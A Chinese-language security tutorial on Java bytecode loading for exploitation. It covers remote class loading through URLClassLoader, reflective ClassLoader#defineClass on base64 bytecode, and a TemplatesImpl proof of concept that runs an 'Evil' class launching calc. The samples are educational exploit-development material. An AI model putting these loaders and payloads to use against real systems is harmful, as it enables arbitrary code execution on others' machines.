JAVA字节码

Java字节码(ByteCode)指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中

但是我们所说的"字节码"可以理解的更广义一些----所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的讨论范围之内。

Java的ClassLoader是用来加载字节码文件最基础的方法,ClassLoader就是一个"加载器",告诉Java虚拟机如何加载这个类。

ClassLoader就是根据类名来加载类,这个类名是类完整路径。如java.lang.Runtime

利用URLClassLoader加载远程class文件

URLClassLoader实际上是我们平时默认使用的AppClassLoader的父类

正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件加载,这个基础路径分为三种情况:

  • URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠/结尾,且协议名是file,则使用FildLoader来寻找类,即为在本地系统中寻找.class文件
  • URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类

使用Loader寻找类,最常见的就是http协议

可以来测试一下

先编写一个恶意类

import java.io.IOException;
public class Eivl {
    public Eivl() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

在class所在目录下用python搭建一个简易的http服务器

1.jpg

public class ClassLoader {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        URL[] urls = {new URL("Http://localhost:1234/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class c = loader.loadClass("Evil");
        c.newInstance();
    }
}

2.jpg

初始化这个恶意类 成功弹出计算器

利用ClassLoader#defineClass 直接加载字节码文件

不管是加载远程class文件还是本地的class或jar文件,Java都经历的是下面这三个方法的调用

ClassLoader#loadClass-->ClassLoader#findClass->ClassLoader#defineClass

  • loadClass的作用是从已加载的类缓存,父加载器等位置寻找(双亲委派机制),在前面没有找到的情况下,执行findClass
  • findClass的作用是根据URL指定的方式来加载类的字节码,可能会在本地系统,jar包或远程http服务器上读取字节码,然后将其交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

本地测试一下:

public class Evil {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

编译为class文件 并用shell输入base64编码的字节码

3.jpg

然后用defineClass加载

public class ClassLoaderTest {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADEAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAGgwAGwAcAQAEY2FsYwwAHQAeAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAQABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAAQABAAFAA0ABgALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQAAAAAgAR");
        Class Evil = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Evil",code,0,code.length);
        Evil.newInstance();
    }
}

4.jpg

利用TemplatesImp加载字节码

虽然大部分上层开发者不会直接用到defineClass方法,但是Java底层还是有一些类用到了它,比如TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TranslateClassloader

 static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;
         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }
        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
     Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

这个类重写了defineClass方法,并且这里没有显式地声明其定义域,所以默认为default, 可以被类外部调用

从TransletClassLoader#defineClass()向前追溯一下调用链

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> 
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() 
-> TransletClassLoader#defineClass()

追到最前面两个方法TemplatesImpl#getOutputProperties(),TemplatesImpl#newTransformer(),这两者的作用域是public,可以被外部调用。我们尝试用new Transformer()来构造一个简单的Poc

ublic static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("base64字符串");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_name","114514");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        obj.newTransformer();
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);;
    }

5.jpg

_bytecodes是由字节码组成的数组 不能为空
6.jpg

_name可以任意赋值 不为空就行

7.jpg

defineTransletClasses()的run方法调用了_tfactory.getExternalExtensionsMap(),_tfactory所以不能为空

另外 TemplatesImpl中对加载的字节码是有一定要求的,这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

所以需要构造一个特殊类

public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {       
    }
}

生成base64 放入上面的byte[] code
8.jpg

Q.E.D.